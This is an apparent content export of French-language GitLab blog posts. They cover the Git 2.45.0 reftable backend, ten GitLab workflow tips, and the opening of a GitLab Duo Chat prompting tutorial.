Gerrit](https://www.gerritcodereview.com/ \"Projet Gerrit\"). En\n2021, [Han-Wen Nienhuys](https://hanwen.home.xs4all.nl/) a intégré la\nbibliothèque dans Git, ce qui lui permet de lire et d'écrire le format\nreftable. \n\n\nLe nouveau backend « reftable » que nous avons introduit dans Git v2.45.0\nrassemble enfin la bibliothèque reftable et Git de sorte qu'il est possible\nd'utiliser le nouveau format comme backend de stockage dans vos dépôts Git. \n\n\nEn supposant que vous exécutez au moins la version 2.45.0 de Git, vous\npouvez créer de nouveaux dépôts au format « reftable » en basculant\n`--ref-format=reftable` sur `git-init(1)` ou `git-clone(1)`. \n\n\nPar exemple :\n\n\n```shell\n\n$ git init --ref-format=reftable .\n\nInitialized empty Git repository in /tmp/repo/.git/\n\n$ git rev-parse --show-ref-format\n\nreftable\n\n$ find -type f .git/reftable/\n\n.git/reftable/0x000000000001-0x000000000001-01b5e47d.ref\n\n.git/reftable/tables.list\n\n\n$ git commit --allow-empty --message \"Initial commit\"\n\n$ find -type f .git/reftable/\n\n.git/reftable/0x000000000001-0x000000000001-01b5e47d.ref\n\n.git/reftable/0x000000000002-0x000000000002-87006b81.ref\n\n.git/reftable/tables.list\n\n```\n\n\nComme vous pouvez le constater, les références sont maintenant stockées dans\n`.git/reftable` au lieu du répertoire `.git/refs.` Les références et les\njournaux de référence (ou « reflogs ») sont stockés dans des « tables », qui\nsont les fichiers se terminant par `.ref`, tandis que le fichier\n`tables.list` contient la liste de toutes les tables actuellement actives. \n\n\nLe backend « reftable » est censé remplacer le backend « fichiers ». Par\nconséquent, du point de vue de l'utilisateur, tout devrait fonctionner de la\nmême manière. \n\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab\n\"Profil GitLab de Patrick Steinhardt\"). Le mérite revient également à Shawn\nPearce en tant qu'inventeur original du format et à Han-Wen Nienhuys en tant\nqu'auteur de la bibliothèque reftable.\n\n\n## De meilleurs outils pour les références \n\n\nAlors que le format « reftable » résout de nombreux problèmes existants, il\nen introduit également de nouveaux. L'un des problèmes les plus importants\nétant l'accessibilité des données qu'il contient. \n\n\nAvec le backend « fichiers », vous pouvez, dans le pire des cas, utiliser\nvos outils Unix habituels pour inspecter l'état des références. Les\nréférences « empaquetées » et « libres » contiennent toutes deux des données\nlisibles par l'homme et faciles à interpréter. Ce qui est différent avec le\nformat « reftable », qui est un format binaire. Par conséquent, Git doit\nfournir tous les outils nécessaires pour extraire les données du nouveau\nformat « reftable ».\n\n\n### Répertorier toutes les références\n\n\nLe premier problème que nous avons rencontré est qu'il est fondamentalement\nimpossible de connaître toutes les références connues d'un dépôt. Cela\npeut-être quelque peu déroutant au début : comment est-il possible de créer\net modifier des références via Git, qui ne peut pas énumérer de manière\nexhaustive toutes les références dont il a connaissance ?\n\n\nEn effet, le backend « fichiers » en est incapable. Alors qu'il peut\nrépertorier de manière évidente toutes les références « habituelles » qui\ncommencent par le préfixe `refs/`, Git utilise également des [pseudo\nrefs](https://git-scm.com/docs/gitglossary#Documentation/gitglossary.txt-aiddefpseudorefapseudoref\n\"Les pseudo refs de Git\"). Ces fichiers se trouvent directement à la racine\ndu répertoire Git et seraient des fichiers comme, par exemple,\n`.git/MERGE_HEAD`. Le problème ici est que ces pseudo refs se trouvent à\ncôté d'autres fichiers que Git stocke comme, par exemple, `.git/config`.\n\n\nAlors que certaines pseudo refs sont bien connues et donc faciles à\nidentifier, il n'y a en théorie aucune limite aux références que Git peut\nécrire. Rien ne vous empêche de créer une référence appelée « foobar ».\n\n\nPar exemple : \n\n\n```shell\n\n$ git update-ref foobar HEAD\n\n$ cat .git/foobar\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d\n\n```\n\n\nMaintenant, le problème du backend « fichiers » est qu'il ne peut énumérer\nles références qu'en parcourant les répertoires. Donc, pour déterminer si\n`.git/foobar` est effectivement une référence, Git devrait ouvrir le fichier\net vérifier s'il est formaté ou non comme une référence. \n\n\nD'autre part, le backend « reftable » connaît de manière évidente toutes les\nréférences qu'il contient : elles sont encodées dans ses structures de\ndonnées, il lui suffit donc de décoder ces références et de les renvoyer.\nMais en raison des restrictions du backend « fichiers », il n'existe aucun\noutil qui vous permettrait de connaître toutes les références existantes. \n\n\nPour résoudre le problème, nous avons intégré un nouvel élément à\n`git-for-each-ref(1)` appelé `--include-root-refs`, ce qui lui permettra de\nrépertorier également toutes les références qui existent à la racine de la\nhiérarchie de nommage des références.\n\n\nPar exemple : \n\n\n```shell\n\n$ git for-each-ref --include-root-refs\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    HEAD\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    MERGE_HEAD\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    refs/heads/main\n\n```\n\n\nPour le backend « fichiers », ce nouvel élément est géré au mieux et nous y\nincluons toutes les références qui correspondent à un nom de pseudo ref\nconnu. Pour le backend « reftable », nous pouvons simplement lister toutes\nles références qui lui sont connues. \n\n\nCe projet a été mené par [Karthik Nayak](https://gitlab.com/knayakgl \"Profil\nGitLab de Karthik Nayak\").\n\n\n### Répertorier tous les reflogs \n\n\nChaque fois que vous mettez à jour des branches, Git, par défaut, suit ces\nmises à jour de branche dans un reflog. Ce reflog vous permet de rétablir\nles modifications apportées à cette branche au cas où vous auriez effectué\nune modification involontaire. \n\n\nAvec le backend « fichiers », ces journaux sont stockés dans votre\nrépertoire `.git/logs` :\n\n\n```shell\n\n$ find -type f .git/logs/\n\n.git/logs/HEAD\n\n.git/logs/refs/heads/main\n\n```\n\n\nLister les fichiers dans ce répertoire est le seul moyen pour vous de savoir\nquelles références ont un reflog en premier lieu. C'est un problème pour le\nbackend « reftable », qui stocke ces journaux avec les références. Par\nconséquent, il n'existe plus aucun moyen pour vous de savoir quels reflogs\nexistent dans le dépôt lorsque vous utilisez le format « reftable ». \n\n\nIl ne s'agit pas d'une faille imputable au format « reftable », mais d'une\nomission dans les outils fournis par Git. Pour y remédier, nous avons\nintroduit une nouvelle sous-commande `list` à `git-reflog(1)` permettant de\nrépertorier tous les reflogs existants :\n\n\n```shell\n\n$ git reflog list\n\nHEAD\n\nrefs/heads/main\n\n```\n\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab\n\"Profil GitLab de Patrick Steinhardt\").\n\n\n### Un empaquetage plus efficace des références \n\n\nPour rester efficaces, les dépôts Git nécessitent une maintenance régulière.\nHabituellement, cette maintenance est déclenchée par diverses commandes Git\nqui écrivent des données dans les dépôts Git en exécutant `git maintenance\nrun --auto`. Cette commande optimise uniquement les structures de données\nqui doivent être optimisées afin que Git ne gaspille pas de ressources de\ncalcul.\n\n\nUne structure de données optimisée par la maintenance de Git constitue la\nbase de données de référence, obtenue en exécutant `git pack-refs --all`.\nPour le backend « fichiers », cela signifie que toutes les références sont à\nnouveau regroupées dans le fichier « packed-refs » et que les références\nlibres sont supprimées, tandis que pour le backend « reftable », toutes les\ntables sont fusionnées en une seule table. \n\n\nPour le backend « fichiers », nous ne pouvons pas faire beaucoup mieux.\nÉtant donné que nous devons de toute façon réécrire l'ensemble du fichier «\npacked-refs », il est logique que nous souhaitions regrouper toutes les\nréférences libres. \n\n\nMais pour le backend « reftable », cette démarche est sous-optimale, car le\nbackend « reftable » s'optimise automatiquement. Chaque fois que Git ajoute\nune nouvelle table au backend « reftable », il effectue un compactage\nautomatique et fusionne les tables si nécessaire. Par conséquent, la base de\ndonnées de référence doit toujours être dans un état optimisé et la fusion\nde toutes les tables s'avère donc un effort inutile.\n\n\nDans la version 2.45.0 de Git, nous avons donc introduit un nouveau mode\n`git pack-refs --auto`, qui demande au backend de référence de s'optimiser\nsi nécessaire. Alors que le backend « fichiers » continue de fonctionner de\nla même manière même lorsque l'indicateur `--auto` est défini, le backend «\nreftable » utilise les mêmes heuristiques que celles qu'il utilise pour son\nauto-compactage. Dans la pratique, cela ne devrait pas poser de problème\ndans la plupart des cas. \n\n\nDe plus, `git maintenance run --auto` a été adapté pour transmettre\nl'indicateur `-tauto` à `git-pack-refs(1)` pour utiliser ce nouveau mode par\ndéfaut. \n\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab\n\"Profil GitLab de Patrick Steinhardt\").\n\n\n## En conclusion \n\n\nCet article de blog met l'accent sur le [nouveau backend « reftable\n»](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/\n\"Format reftable de Git \"), qui nous permet de mieux évoluer dans les dépôts\nvolumineux comprenant de multiples références, ainsi que sur les outils\nconnexes que nous avons introduits en parallèle pour le faire fonctionner\ncorrectement. Cette version de Git par la communauté Git, au sens large, a\nbien entendu introduit diverses améliorations de performances, des\ncorrections de bugs et des fonctionnalités plus petites. Vous pouvez en\napprendre davantage à ce sujet dans [l'annonce officielle du projet\nGit](https://lore.kernel.org/git/xmqq8r0ww0sj.fsf@gitster.g/ \"Annonce\nofficielle du projet Git\").\n",[1047,270],{"slug":2923,"featured":6,"template":683},"whats-new-in-git-2-45-0","content:fr-fr:blog:whats-new-in-git-2-45-0.yml","Whats New In Git 2 45 0","fr-fr/blog/whats-new-in-git-2-45-0.yml","fr-fr/blog/whats-new-in-git-2-45-0",{"_path":2929,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2930,"content":2936,"config":2941,"_id":2943,"_type":16,"title":2944,"_source":17,"_file":2945,"_stem":2946,"_extension":20},"/fr-fr/blog/top-10-gitlab-workflow-hacks-you-need-to-know",{"title":2931,"description":2932,"ogTitle":2931,"ogDescription":2932,"noIndex":6,"ogImage":2933,"ogUrl":2934,"ogSiteName":841,"ogType":842,"canonicalUrls":2934,"schema":2935},"Workflows GitLab : top 10 des hacks à connaître","Amanda Rueda, notre Sr. Product Manager partage ses astuces pour naviguer rapidement et efficacement sur la plateforme DevSecOps de GitLab et améliorer la collaboration en équipe.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099361/Blog/Hero%20Images/Blog/Hero%20Images/lightvisibility_lightvisibility.png_1750099361252.png","https://about.gitlab.com/blog/top-10-gitlab-workflow-hacks-you-need-to-know","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Workflows GitLab : top 10 des hacks à connaître\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-04-09\",\n      }",{"title":2931,"description":2932,"authors":2937,"heroImage":2933,"date":2938,"body":2939,"category":764,"tags":2940},[1477],"2024-04-09","Dans le monde du développement logiciel, être efficace n'est pas seulement une question de rapidité, c'est aussi une question de navigation intelligente. En tant que Sr. Product Manager, je comprends parfaitement la valeur de l'efficacité lorsque l'on travaille au sein d’une plateforme DevSecOps.\n\nVoici mes 10 fonctionnalités GitLab préférées et il se peut que ce soit celles dont vous ayez vraiment besoin pour améliorer votre workflow.\n\n## 1. La résolution des commentaires\n\nLa résolution des commentaires est utile pour les merge requests, mais elle l’est également pour les tickets, car elle permet de réduire considérablement le bruit et de rationaliser la gestion des tâches. \n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Non seulement la résolution des commentaires permet de réduire le bruit autour d'un ticket, mais c'est aussi un excellent moyen de gérer les tâches.\n> \n> **Cas d'utilisation.** La résolution des commentaires est un excellent outil pour les tickets sur lesquels vous recueillez des retours. Répondez aux commentaires et fournissez un lien, résolvez le commentaire et passez au suivant.\n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/user/discussions/#resolve-a-thread)__\n\n![exemple de résolution de commentaires - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099376147.gif)\n\n\u003Cp>\u003C/p>\n\n## 2. Les commentaires internes\n\nAdressez-vous directement à votre équipe. Gardez les discussions privées au sein d'un ticket ou d'une merge request, les commentaires n'étant visibles que par les membres de votre équipe. C'est l'équilibre parfait entre transparence et confidentialité.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Elle permet d'équilibrer la confidentialité et la transparence, tout en permettant à la communauté d'avoir accès à une discussion plus large.\n> \n> **Cas d'utilisation.** Lorsqu'elle coordonne le lancement d'un produit, votre équipe marketing peut utiliser les commentaires internes pour discuter et affiner le message et la stratégie. Cela permet de centraliser vos discussions et de les rendre facilement accessibles à l'équipe lors de la phase de réflexion.\n> \n> **[Documentation pratique](https://docs.gitlab.com/ee/user/discussions/#add-an-internal-note)**\n\n![exemple de commentaires internes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099376148.png)\n\n\u003Cp>\u003C/p>\n\n## 3. Les filtres\n\nLorsque vous recherchez des informations, l'utilisation de filtres et/ou vous aide à trouver exactement ce que vous recherchez, rapidement et efficacement.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Cette fonctionnalité est idéale pour trouver exactement ce dont vous avez besoin et avoir des workflows efficaces et rationalisés.\n> \n> **Cas d'utilisation.** Recherchez des tickets relatifs à une initiative en particulier qui sont assignés à des groupes spécifiques.\n>\n> __[Documentation pratique](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#filter-with-the-or-operator)__\n\n![exemple de filtre et/ou](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/and_or__1__aHR0cHM6_1750099376152.gif)\n\n\u003Cp>\u003C/p>\n\n## 4. Les URL\n\nL'ajout de « + » ou de « +s » à la fin d'une URL GitLab la transforme en un extrait informatif, ce qui vous permet de partager vos progrès sans obliger vos collaborateurs à quitter la page.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** C'est comme avoir une vision à rayons X pour les URL : vous voyez ce qui est important sans même avoir à cliquer !\n> \n> **Cas d'utilisation.** Vous souhaitez partager vos progrès dans les commentaires ? Ajoutez simplement « +s » au lien et tout le monde est instantanément sur la même longueur d'onde.\n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/user/markdown.html#show-the-issue-merge-request-or-epic-title-in-the-reference)__\n\n![exemple de développement automatique d'URL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099376154.gif)\n\n\u003Cp>\u003C/p>\n\n## 5. Les actions rapides\n\nGrâce à de simples commandes textuelles, les actions rapides vous permettent d'effectuer des tâches telles que l'assignation d'utilisateurs, l'ajout de labels, etc., directement à partir de la description ou de la zone de commentaire.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Elle permet d’économiser des clics et du temps.\n> \n> **Cas d'utilisation.** Lorsque je crée un nouveau ticket, j'utilise des actions rapides pour ajouter automatiquement des labels et me connecter à l'epic lors de l'enregistrement. \n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/user/project/quick_actions.html)__\n\n![exemple d'actions rapides](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099376156.gif)\n\n\u003Cp>\u003C/p>\n\n## 6. La modification en masse\n\nAppliquez des labels ou changez les assignés sur plusieurs tickets à la fois. Cette fonctionnalité transforme des mises à jour potentiellement fastidieuses en un jeu d'enfant, permettant d'ajuster rapidement de nombreux tickets.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Parce qu'elle transforme les mises à jour fastidieuses en un véritable gain de temps.\n> \n> **Cas d'utilisation.** Vous souhaitez taguer l’ensemble des tickets d’un sprint, car ils nécessitent une révision ? Pour cela, il vous suffit de filtrer, de tout sélectionner et d'ajouter votre label en masse, en toute simplicité.\n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#bulk-edit-issues-from-a-project)__\n\n![exemple de modification en bloc](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099376157.gif)\n\n\u003Cp>\u003C/p>\n\n## 7. Les epics\n\nRegroupez les tickets sous forme d'epics sur votre tableau afin de suivre visuellement les progrès et d'en discuter. C'est un moyen efficace de contextualiser le travail lors des révisions ou des réunions.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Vous comprenez facilement le contexte du travail lorsque vous consultez le tableau.\n> \n> **Cas d'utilisation.** Lors des réunions, regroupez votre travail par epics afin de pouvoir plus facilement visualiser le travail effectué.\n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issues-in-swimlanes)__\n\n![exemple de couloirs epic](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099376158.gif)\n\n\u003Cp>\u003C/p>\n\n## 8. Les diagrammes Wiki\n\nIllustrez des idées et des workflows directement dans vos pages wiki grâce à des diagrammes faciles à créer. Cette fonctionnalité prend en charge l'apprentissage visuel et simplifie les concepts complexes.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Elle est intuitive et flexible.\n> \n> **Cas d'utilisation.** Lorsque vous définissez le workflow d'une nouvelle fonctionnalité, dessinez-le directement sur la page wiki, afin que tout le monde au sein de l'équipe puisse le visualiser.\n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/administration/integration/diagrams_net.html)__\n\n![exemple de diagrammes wiki](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099376159.gif)\n\n\u003Cp>\u003C/p>\n\n## 9. La création de tableaux\n\nOubliez les difficultés liées au markdown pour la création de tableaux. L'éditeur de texte enrichi vous permet d'insérer et de mettre en forme des tableaux sans effort, ce qui rend la documentation plus claire et plus structurée.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Elle facilite la création de tableaux en permettant de rendre les mises à jour propres et structurées en quelques clics.\n> \n> **Cas d'utilisation.** Vous compilez la rétro d'un sprint ? Ajoutez rapidement un tableau pour organiser les commentaires, les mesures à prendre et les responsables, afin de faciliter le processus de révision pour tout le monde.\n> \n> __[Documentation pratique](https://docs.gitlab.com/ee/user/rich_text_editor.html#tables)__ \n\n![exemple de création de tableau](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750099376160.gif)\n\n\u003Cp>\u003C/p>\n\n## 10. L'intégration de vidéos et de GIF\n\nAméliorez les descriptions ou les commentaires de vos tickets et de vos epics en y intégrant des GIF et des vidéos YouTube, afin d'ajouter une couche dynamique à votre communication.\n\n> **Pourquoi est-ce que j'aime cette fonctionnalité ?** Parfois, un GIF ou une vidéo sont plus parlants que des mots.\n> \n> **Cas d'utilisation.** Vous essayez d'expliquer un bug UI ? Intégrez une vidéo YouTube pour une présentation rapide de l'amélioration des fonctionnalités proposées.\n\n![exemple d'incorporation vidéo et gif](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/gif__1__aHR0cHM6_1750099376161.gif)\n\n\u003Cp>\u003C/p>\n\n## Explorez ces fonctionnalités\n\nCes fonctionnalités ne représentent qu'un aperçu de la plateforme DevSecOps de GitLab, conçue pour accroître l'efficacité et favoriser une meilleure collaboration. Bien qu'elles soient peut-être sous-utilisées, leur impact sur votre workflow pourrait être considérable. Nous vous encourageons à explorer davantage ces fonctionnalités et à les intégrer dans vos habitudes quotidiennes.\n\n> Vous souhaitez dynamiser votre workflow DevSecOps à l'aide de GitLab ? [Essayez GitLab Ultimate gratuitement pendant 30 jours](https://gitlab.com/-/trial_registrations/new). \n",[1069,1067,675,853],{"slug":2942,"featured":6,"template":683},"top-10-gitlab-workflow-hacks-you-need-to-know","content:fr-fr:blog:top-10-gitlab-workflow-hacks-you-need-to-know.yml","Top 10 Gitlab Workflow Hacks You Need To Know","fr-fr/blog/top-10-gitlab-workflow-hacks-you-need-to-know.yml","fr-fr/blog/top-10-gitlab-workflow-hacks-you-need-to-know",{"_path":2948,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2949,"content":2955,"config":2961,"_id":2963,"_type":16,"title":2964,"_source":17,"_file":2965,"_stem":2966,"_extension":20},"/fr-fr/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat",{"title":2950,"description":2951,"ogTitle":2950,"ogDescription":2951,"noIndex":6,"ogImage":2952,"ogUrl":2953,"ogSiteName":841,"ogType":842,"canonicalUrls":2953,"schema":2954},"GitLab Duo Chat : 10 bonnes pratiques à connaître","Découvrez nos conseils et astuces pour intégrer GitLab Duo Chat à vos workflows DevSecOps alimentés par l'IA. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097639/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_77JeTV9gAmbXM0224acirV_1750097638765.png","https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat : 10 bonnes pratiques à connaître\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-04-02\",\n      }",{"title":2950,"description":2951,"authors":2956,"heroImage":2952,"date":2957,"body":2958,"category":697,"tags":2959,"updatedDate":2960},[2431],"2024-04-02","Entamer une conversation avec l'IA peut s'avérer difficile. Par quelle question commencer ? Comment la formuler ? Quel degré de contexte est nécessaire ? La conversation fournira-t-elle des résultats optimaux et efficaces ?\n\nDans ce tutoriel, découvrez 10 conseils et bonnes pratiques pour intégrer GitLab Duo Chat dans vos workflows DevSecOps alimentés par l'IA et affiner vos prompts afin d'obtenir des résultats optimaux.\n\n## Première étape : ouvrez GitLab Duo Chat \n\n[GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) est disponible dans l'interface utilisateur (UI) de GitLab, dans le Web IDE et dans les IDE de programmation pris en charge, comme VS Code. \n\nDans VS Code, vous pouvez ouvrir GitLab Duo Chat dans le volet de gauche par défaut. Vous pouvez également glisser-déposer l'icône dans le volet de droite. Ainsi, GitLab Duo Chat reste ouvert pendant que vous écrivez du code et que vous naviguez dans l'arborescence des fichiers, que vous effectuez des actions Git et plus encore. Pour réinitialiser l'emplacement de Chat, ouvrez la palette de commandes (en appuyant sur le raccourci clavier `Command+Maj+P` (sous macOS) ou `Ctrl+Maj+P` (sous Windows/Linux), puis saisissez `View: Reset View Locations`. La procédure à suivre est illustrée dans cette courte vidéo.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/foZpUvWPRJQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nLe Web IDE et VS Code partagent le même framework : la même méthode fonctionne dans le Web IDE pour proposer des workflows plus efficaces.\n\n![Chat dans le Web IDE](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097645344.png)\n\n## 10 bonnes pratiques à suivre pour une utilisation optimale de GitLab Duo Chat\n\n### 1. Discutez\n\nLes chats sont des conversations, pas des formulaires de recherche.\n\nPour lancer la conversation, commencez avec les termes de recherche que vous utiliseriez lors d'une recherche sur un navigateur et expérimentez en fonction de la réponse et des données de sortie. Dans cet exemple, commençons par un projet C# et les bonnes pratiques associées. \n\n> c# start project best practices \n\n![Prompt demandant les bonnes pratiques de démarrage d'un projet C# et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097646/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097645345.png)\n\nLa réponse est utile pour comprendre un large champ d'application du langage C#, mais ne propose pas immédiatement de bonnes pratiques. Poursuivons avec une question plus ciblée dans le même contexte. \n\n> Please show the project structure for the C# project. \n\n![Prompt demandant la structure du projet C# et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097645346.png)\n\nCette réponse est utile. Poursuivons avec une question relative à [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") et utilisons la même structure : demandons directement à l'IA de nous montrer un exemple.\n\n> Show an example for a .gitignore for C# \n\n![Prompt demandant un exemple de fichier .gitignore en langage C# et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image25_aHR0cHM6_1750097645347.png)\n\nPoursuivons avec GitLab CI/CD et demandons à l'IA comment créer le projet C#.\n\n> Show a GitLab CI/CD configuration for building the C# project \n\n![Prompt demandant un exemple de configuration de GitLab CI/CD pour la création du projet C# et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image16_aHR0cHM6_1750097645349.png)\n\nDans cet exemple, GitLab Duo Chat nous encourage à demander des modifications spécifiques. Demandons-lui d'utiliser le SDK .NET 8.0 au lieu du SDK .NET 6.0. \n\n> In the above example, please use the .NET SDK 8.0 image \n\n![Prompt demandant à GitLab Duo Chat d'utiliserl'image du SDK .NET 8.0 et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image32_aHR0cHM6_1750097645350.png)\n\nLa configuration CI/CD utilise l'interface de ligne de commande (CLI) .NET. Essayons de suivre cette bonne pratique pour générer des commandes plus efficaces afin de créer la structure des projets et des tests. \n\n> Explain how to create projects and test structure on the CLI \n\n![Prompt demandant d'expliquer comment créer des projets et tester la structure sur l'interface CLI et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750097645351.png)\n\nNous pourrions exécuter ces commandes dans le terminal, mais, pour cet exemple, imaginons que nous souhaitions rester dans VS Code. Posons la question à Chat.\n\n> Explain how to open a new terminal in VS Code \n\n![Prompt demandant d'expliquer comment ouvrir un nouveau terminal dans VS Code et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097645351.png)\n\n### 2. Affinez le prompt pour gagner en productivité\n\nConsidérez GitLab Duo Chat comme un être humain et employez des phrases complètes qui fournissent suffisamment de contexte à vos pensées et à vos questions. \n\nSi vous êtes un utilisateur expérimenté de la recherche par navigateur, vous connaissez peut-être l'approche qui consiste à concevoir la question, à ajouter plus de termes pour affiner sa portée et redémarrer la recherche après avoir ouvert de nombreux onglets. \n\nDans le cas d'une recherche par navigateur, vous obtiendriez probablement quatre à cinq fenêtres de recherche différentes. \n\n```markdown\nc# start project best practices\nc# .gitignore\nc# gitlab cicd \nc# gitlab security scanning \nc# solutions and projects, application and tests\n``` \n\nVous pouvez également suivre cette stratégie lors d'une conversation avec GitLab Duo Chat. Cela nécessite d'ajouter plus de contexte afin de la transformer en une approche conversationnelle. GitLab Duo Chat vous permet de poser plusieurs questions dans une même conversation. \n\nExemple : vous devez commencer par un nouveau projet C#, appliquer les bonnes pratiques, ajouter un fichier `.gitignore` et configurer CI/CD ainsi qu'un scanning de sécurité, comme dans la recherche ci-dessus. Dans Chat, vous pouvez regrouper plusieurs questions dans une même demande.\n\n> How can I get started creating an empty C# console application in VS Code? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#, and add security scanning for GitLab. Explain how solutions and projects in C# work, and how to add a test project on the CLI. \n\n![Prompt demandant d'ajouter plus de contexte et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image37_aHR0cHM6_1750097645352.png)\n\nDans cette réponse, Chat suggère de demander des exemples de configuration spécifiques dans les questions de suivi de la conversation. Pratique asynchrone : créez des questions de suivi. Vous pouvez omettre `C# ` comme contexte dans la même session de chat.\n\n> Please show an example for a .gitignore. Please show a CI/CD configuration. Include the SAST template. \n\n### 3. Suivez des patterns de prompt \n\nSuivez le pattern : `Énoncer le problème, demander de l'aide, fournir des demandes supplémentaires`. Vous ne pouvez pas penser à tout lorsque vous posez la première question. Commencez par `énoncer le problème, demander de l'aide` lors de la première itération. \n\n> I need to fulfill compliance requirements. How can I get started with Codeowners and approval rules ?\n\n![Prompt demandant de l'aide au sujet des Codeowners et des règles d'approbation et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750097645352.png)\n\nMême si la réponse est utile, elle reste générique. Il se peut que vous souhaitiez obtenir une aide spécifique pour la configuration de votre équipe. \n\n> Please show an example for Codeowners with different teams : backend, frontend, release managers. \n\n![Prompt demandant un exemple de fichier Codeowners pour différentes équipes (backend, frontend, managers de release) et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image31_aHR0cHM6_1750097645353.png)\n\nUne alternative consiste à décrire la situation dans laquelle vous vous trouvez et à demander de l'aide. Suivez le modèle STAR (Situation, Tâche, Action et Résultat) pour construire votre conversation. \n\n> I have a Kubernetes cluster integrated in GitLab. Please generate a Yaml configuration for a Kubernetes service deployment. Explain how GitOps works as a second step. How to verify the results? \n\n![Prompt incluant plusieurs questions et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image27_aHR0cHM6_1750097645354.png)\n\n### 4. Utilisez une communication à contexte faible \n\nFournissez autant de contexte que nécessaire pour obtenir une réponse. L'historique précédent ou le code source ouvert ne fournit parfois pas de contexte utile. Pour 